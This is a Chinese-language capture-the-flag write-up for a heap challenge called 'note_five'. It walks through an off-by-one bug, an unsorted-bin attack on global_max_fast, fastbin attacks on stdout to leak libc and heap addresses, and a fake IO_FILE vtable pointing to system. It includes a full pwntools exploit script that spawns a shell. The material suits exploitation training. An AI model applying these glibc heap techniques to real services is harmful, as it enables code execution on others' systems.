保护
分析
- 程序有添加、删除、编辑操作。添加的时候限制了大小:
- 也就是说分配的chunk都在unsortbin以上。
- 删除没什么问题,主要漏洞只有一个,那就是在编辑中存在off-by-one:
- 程序没有输出操作,开启了aslr。所以要构造以下攻击链:
- 利用off-by-one构造heap overlaping。
- 利用unsortbin attack改写global_max_fast,使得fastbin的范围增大,为后续fastbin attack做准备。
- 释放一个unsortbin范围的chunk会得到libc里边的内存,我们在fd 上边踩出stdout附近的地址,并结合fastbin attack有几率改写stdout以泄露内存。
- 利用fastbin attack精确修改stdout,泄露出heap地址,为后续伪造vtable做准备。
- 伪造vtable。
- 再次fastbin attack精确修改stdout,将vtable指向我们伪造的vtable。
EXP
#encoding=utf-8
from pwn import*
#context.log_level=1
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(idx,size):
p.sendlineafter('choice>> ','1')
p.sendlineafter('idx: ',str(idx))
p.sendlineafter('size: ',str(size))
def Edit(idx,data):
p.sendlineafter('choice>> ','2')
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',data)
def Del(idx):
p.sendlineafter('choice>> ','3')
p.sendlineafter('idx: ',str(idx))
p=process('./note_five',aslr=False)
Add(0,0xf8)#0
Add(1,0xf8)#1
Add(2,0xf8)#2
Add(3,0xf8)#3
Add(4,0xf8)#4
Del(0)
Edit(2,'a'*0xe0+p64(0)+p64(0x211)+p64(0x300)+'\0')
Del(3)
Add(0,0x2f0)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+'\n')
Del(1)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+p64(0)+p16(0xa838)+'\n')
Add(4,0xf0)
Add(4,0xf0)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+'\n')
Del(2)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+p16(0x95cf)+'\n')
Add(2,0xe0)
Add(4,0xe0)
file='\0'*0x41
file+=p32(0xfbad1880)
file+=';sh;'+'a'*0x18+'\x88\n'
Edit(4,file)
libc_base=u64(p.recv(8))-libc.sym['_IO_2_1_stdin_']
system=libc.sym['system']+libc_base
success("libc_base:"+hex(libc_base))
success("system:"+hex(system))
leak_heap_offset=0x3c3b88+libc_base
stdout_nearly=libc.sym['_IO_2_1_stderr_']+libc_base+143
Del(2)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+p64(stdout_nearly)+'\n')
Add(2,0xe0)
Add(4,0xe0)
file='\0'*0x41
file+=p32(0xfbad1880)
file+=';sh;'+'\0'*0x18+p64(leak_heap_offset)+'\n'
Edit(4,file)
heap_base=u64(p.recv(8))-0x100
success("heap_base:"+hex(heap_base))
Del(2)
stdout_nearly=libc.sym['_IO_2_1_stdout_']+libc_base+0x8f
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+p64(stdout_nearly)+'\n')
Add(2,0xe0)
Add(4,0xe0)
fake_vtable=p64(0)*2+p64(system)*19+'\n'
Edit(0,fake_vtable)
Edit(4,'\0'*57+p64(heap_base+0x10)+'\n')
p.interactive()
- 本地测试的时候我关闭了aslr,当开启的时候多运行几下exp就能getshell了。
总结
- global_max_fast存放的是fastbin的大小,通过修改里边的值可以扩大fastbin的范围。
- glibc2.23及其以下的IO_FILE利用就是直接伪造一个虚表,伪造的方式比较粗暴的就是p64(0)*2+p64(target)*19。这意味着,不论任何文件操作都会触发target处。
- 利用io_file泄露内存的方式是:
- 设置
_flag &~ _IO_NO_WRITES
即_flag &~ 0x8
。- 设置
_flag & _IO_CURRENTLY_PUTTING
即_flag | 0x800
- 设置
_fileno
为1。- 设置
_IO_write_base
指向想要泄露的地方;_IO_write_ptr
指向泄露结束的地址。- 设置
_IO_read_end
等于_IO_write_base
或设置_flag & _IO_IS_APPENDING
即_flag | 0x1000
。- 设置
_IO_write_end
等于_IO_write_ptr
(非必须)。
- 此题在修改stdout时写入“;sh;”是因为后面虚表中用system来覆盖的。